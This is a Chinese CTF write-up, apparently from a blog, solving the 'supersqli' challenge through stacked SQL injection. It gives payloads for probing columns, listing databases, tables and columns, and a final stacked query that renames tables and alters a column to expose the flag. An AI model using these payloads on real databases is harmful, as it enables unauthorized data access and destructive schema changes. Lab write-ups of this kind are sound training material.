堆叠注入
正常访问如下
ctf supersqli
在1后门加 ‘ 报错 可能存在注入:
ctf supersqli
order by 测试猜测字段 发现有两个:
ctf supersqli
ctf supersqli
union select 1,2查询回显,发现select、where等字符被过滤:
ctf supersqli
尝试堆叠注入 =1’ ;show databases;–+ 发现能够回显库名:
ctf supersqli
继续堆叠注入 =1’;show tables;–+
ctf supersqli
堆叠注入爆出列名 =1’;show columns from words;–+
没有敏感信息:
ctf supersqli
堆叠注入查询1919810931114514表中所有列
=1’;show columns from 1919810931114514;–+
注意:字符串为表名操作时要加反引号:
ctf supersqli
发现flag文件,根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段:
‘;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);–+
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag:
ctf supersqli

相关文章:

  • 2021-08-04
  • 2022-12-23
  • 2021-06-05
  • 2021-11-03
  • 2021-12-14
  • 2021-11-16
  • 2021-09-03
  • 2021-06-15
猜你喜欢
  • 2021-10-16
  • 2022-12-23
  • 2022-12-23
  • 2021-06-27
  • 2021-08-30
  • 2021-04-05
  • 2021-12-24
相关资源
相似解决方案